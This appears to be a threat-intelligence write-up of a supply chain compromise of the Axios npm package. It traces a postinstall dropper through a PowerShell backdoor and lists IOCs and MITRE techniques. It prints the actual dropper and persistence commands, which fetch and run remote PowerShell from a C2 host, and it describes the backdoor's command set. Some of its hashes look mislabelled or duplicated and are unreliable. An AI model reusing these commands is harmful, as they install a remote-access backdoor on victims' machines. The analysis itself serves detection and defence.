1. Executive Summary

1.1 Incident Overview

A supply chain attack has been identified targeting the Axios Node.js library which is a popular promise-based HTTP client used for asynchronous API requests across browsers and Node.js.The attack was attributed to North Korea-nexus threat actor UNC1069.

The compromise was executed via the unauthorized release of two specific versions:

  • axios@1.14.1
  • axios@0.30.4

1.2 Technical Analysis of the Injection

The attack involves the insertion of plain-crypto-js: "^4.2.1" as a runtime dependency. This package was first published as a clean version (v4.2.0) on March 30, 2026, to appear legitimate and establish a history in the npm registry, followed by the malicious version (v4.2.1) shortly after.

2. File Identification and Metadata

The malicious plain-crypto-js has two files added and file changed compared to the clean one.

File added ⇒

setup.js

Hash (MD5) ⇒7658962ae060a222c0058cd4e979bfa1

This was the malicious dropper. It contained heavily obfuscated code that identified the victim’s operating system, downloaded a second-stage Remote Access Trojan (RAT), and executed it in the background

package.md

Hash (MD5) ⇒ a48eca03c7a01e6aba9b0339e8480422

This was a clean backup of the package.json file. After the malware successfully infected the system, setup.js would delete the compromised package.json and rename package.md back to package.json. This removed the evidence of the postinstall hook, making the package appear innocent during a post-infection audit.

File changed ⇒

package.json

Hash (MD5) ⇒ 7658962ae060a222c0058cd4e979bfa1 The attacker modified this manifest file to include a postinstall hook: “postinstall”: “node setup.js”. This ensured that the malicious setup.js script ran automatically as soon as a developer or CI/CD pipeline performed an npm install

**package.json**

package.json

3.Technical Analysis Details

Setup-js

The main code of the file setup-js file starts by calling a function called _entry() with a parameter →”6202033”

The function decrypt some strings using two functions named (”_trans_1”,”_trans_2”) into variables for later use, and decrypt three modules names(”os”,”fs”,”child porcess”) using the same functions in addition to hardcoded key =”OrDeR_7077” .

_trans_1 and _trans_2

_trans_1 and _trans_2

some of the decoded strings

some of the decoded strings

The malicious script initiates by collecting the host’s operating system information. It utilizes conditional logic (if-else) to identify the victim’s platform and select the appropriate payload. The targeted platforms include:

  • Darwin (macOS)
  • Win32 (Windows)
  • Linux
My machine collected Os info

My machine collected Os info

Upon identifying a Win32 environment, the malware creates a temp VBScript file (6202033.vbs) as a dropper. This script usus WScript.Shell to execute commands with hidden window.

The command executed by the JS to launch the VBS script→

cscript "C:\Users\username\AppData\Local\Temp\6202033.vbs" //nologo && del "C:\Users\username\AppData\Local\Temp\6202033.vbs" /f

The VBS script commands→

Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""http://sfrclak.com:8000/6202033"" > ""C:\Users\MA_pc\AppData\Local\Temp\6202033.ps1"" & ""C:\ProgramData\wt.exe"" -w hidden -ep bypass -file ""C:\Users\MA_pc\AppData\Local\Temp\6202033.ps1"" ""http://sfrclak.com:8000/6202033"" & del ""C:\Users\MA_pc\AppData\Local\Temp\6202033.ps1"" /f", 0, False
   

The dropper Sends a POST request to the C2 server (sfrclak.com:8000) while sending host-specific suitable payload in the POST body “packages.npm.org/product1"to fetch the second-stage payload. And saves the response as a PowerShell script (6202033.ps1) in the %TEMP% directory.Then Immediately invoke the powershell script with c2 server “http://sfrclak.com:8000/6202033” as an argument and deletes the .ps1 file after execution.

It is noted that The malware implements Anti-Forensic techniques to eliminate IOCs after the second-stage payload is deployed and restore the benign package.json:

  • The temporary .vbs and .ps1 files are deleted.
  • The script deletes the malicious package.json and renames a clean package.md file back to package.json.

This restores the environment to a clean appearance, making manual inspection of the node_modules directory significantly more difficult for the user.

6202033.ps1

The script enumerate some data of the victim getting the drivers, users folder like docuemnt,download,desktop,onedirve,roaming,partitions and all the files and folders in them,uid, os info in a data structure and send it to C2 for one time only.

Enumerate directories and their sub folders/files

Enumerate directories and their sub folders/files

Once the initial environment is staged, the script performs a comprehensive Host Fingerprinting routine. It collects system metadata to provide the attacker with a complete info of the infected machine.

The script gathers the following telemetry into a structured object:

  • Identity: Local hostname and the current username.
  • Operating System: Full OS version (Caption, Architecture, Version) and the original installDate.
  • Hardware: Specific modelName and cpuType (Processor Name).
  • Temporal Data: System timezone, bootTimeString (Uptime), and the currentTimeString.
  • Process Enumeration: A full processList (Name, PID, Session ID, and Executable Path) captured via Win32_Process.

This data is passed into a JSON payload and transmitted to the C2 server (sfrclak.com:8000) via a POST request. This serves two purposes:

  • Exfiltration: It sends the the collected system profile and process list to the attacker.
  • Beaconing: The request acts as a “heartbeat” notifying the C2 that the infection is active and the machine is ready for instructions.

After sending the host profile, the script enters an active listening state. It expects a JSON-formatted response from the C2 containing specific Instruction to execute it.

Enumerate infected machine processes

Enumerate infected machine processes

sending the data to the c2

sending the data to the c2

Then it repeated the loop with sleep duration for one minute

the commands are:

  • kill: Stops the script immediately and terminates the background process.
  • peinject: Decodes and loads a DLL (IjtDll) into memory to execute a binary payload (IjtBin) without saving files to disk.
  • runscript: Decodes a Base64 string into a PowerShell script and runs it hidden in a new process.
  • rundir: Scans specified folders (like Desktop or Documents) and sends a detailed file/folder list back to the server.
  • rsp_kill / rsp_peinject / rsp_runscript / rsp_rundir: These are the Response commands the script sends back to the server to confirm if the task was a “success” ⇒“Wow” or a” failure”⇒ “Zzz”.

The malware establish persistence by using registry key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” adding a value named “MicrosoftUpdate” with value data=”%PROGRAMDATA%\system.bat

system.bat is a script to download the same malicious powershell script and execute it.

system.bad⇒

start /min powershell -w h -c "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '[http://sfrclak.com:8000/6202033](http://sfrclak.com:8000/6202033)' -Method POST -Body '[packages.npm.org/product1](http://packages.npm.org/product1)').Content))) '[http://sfrclak.com:8000/6202033](http://sfrclak.com:8000/6202033)'"

4.Indicators of Compromise (IOCs)

Malicious npm Packages

  • axios@1.14.1,sha256: 2553649f2322049666871cea80a5d0d6adc700ca
  • axios@0.30.4,sha256: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
  • plain-crypto-js@4.2.1,sha256: 07d889e2dadce6f3910dcbc253317d28ca61c766

Network Indicators

File System Indicators

  • %TEMP%\6202033.vbs

    sha256=”f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd”

  • %TEMP%\6202033.ps1

    sha256=”617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101”

registry key

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run

5-mitre mapping

initial JS malware (First Stage)

Technique IDCategoryTechnique NameScript Evidence / Action
T1059.003ExecutionWindows Command ShellUses child_process.execSync to run system commands and launch PowerShell.
T1059.007ExecutionJavaScriptThe primary delivery mechanism is a Node.js/JavaScript file.
T1132.001Defense EvasionStandard EncodingExtensive use of Base64 (atob and Buffer.from) to hide strings like “LOCAL_PATH” and “PS_BINARY”.
T1027.013Defense EvasionEncrypted/Encoded PayloadThe _trans_1 function uses XOR-based character shifting and custom mapping to decrypt strings at runtime.
T1070.004Defense EvasionFile DeletionUses t.unlink(__filename) to delete itself from the disk immediately after running to leave no trace.
T1562.001Defense EvasionDisable or Modify ToolsCopies the legitimate powershell.exe to a new name (wt.exe) if wt.exe itself is not found in %PROGRAMDATA% to bypass security software that monitors the standard PowerShell path.
T1082DiscoverySystem Information DiscoveryUses the os module (W.platform(), W.arch(), W.release()) to identify if the victim is on Windows, Mac (Darwin), or Linux.
T1083DiscoveryFile and Directory DiscoveryUses W.tmpdir() to find the temporary folder for dropping the next stage.
T1105Command and ControlIngress Tool TransferConstructs a URL (q) to download the secondary payload (the PowerShell script) from the C2 server.
T1204.002User ExecutionMalicious FileTypically executed when a user runs an npm install or a malicious .js file via Node.js.

powershell backdoor (Second Stage)

Technique IDCategoryTechnique NameScript Evidence / Action
T1059.001ExecutionPowerShellUses powershell.exe to execute commands and script blocks.
T1547.001PersistenceRegistry Run Keys / Startup FolderCreates a MicrosoftUpdate key in HKCU...\Run to start on boot.
T1027Defense EvasionObfuscationUses Base64 encoding and [char] joins to hide URLs and payloads.
T1564.001Defense EvasionHidden Files and DirectoriesUses Set-ItemProperty to apply the Hidden attribute to system.bat.
T1140Defense EvasionDeobfuscate/Decode Files or InformationDecodes Base64 payloads in memory before execution via [Convert]::FromBase64String.
T1055Privilege Escalation / EvasionProcess InjectionThe Do-Action-Ijt function uses Reflective Loading ([System.Reflection.Assembly]::Load) to run code in memory.
T1082DiscoverySystem Information DiscoveryCollects OS version, CPU type, Model, Timezone, and Boot time.
T1033DiscoverySystem Owner/User DiscoveryGrabs $env:USERNAME and $env:COMPUTERNAME.
T1083DiscoveryFile and Directory DiscoveryThe Get-DetailedFileList function scans Documents, Desktop, and OneDrive.
T1071.001Command and ControlWeb Protocols (HTTP)Uses System.Net.WebClient to communicate with sfrclak.com over port 8000.
T1573.001Command and ControlSymmetric CryptographyWraps POST data in Base64 before sending it to the C2 server.

5-References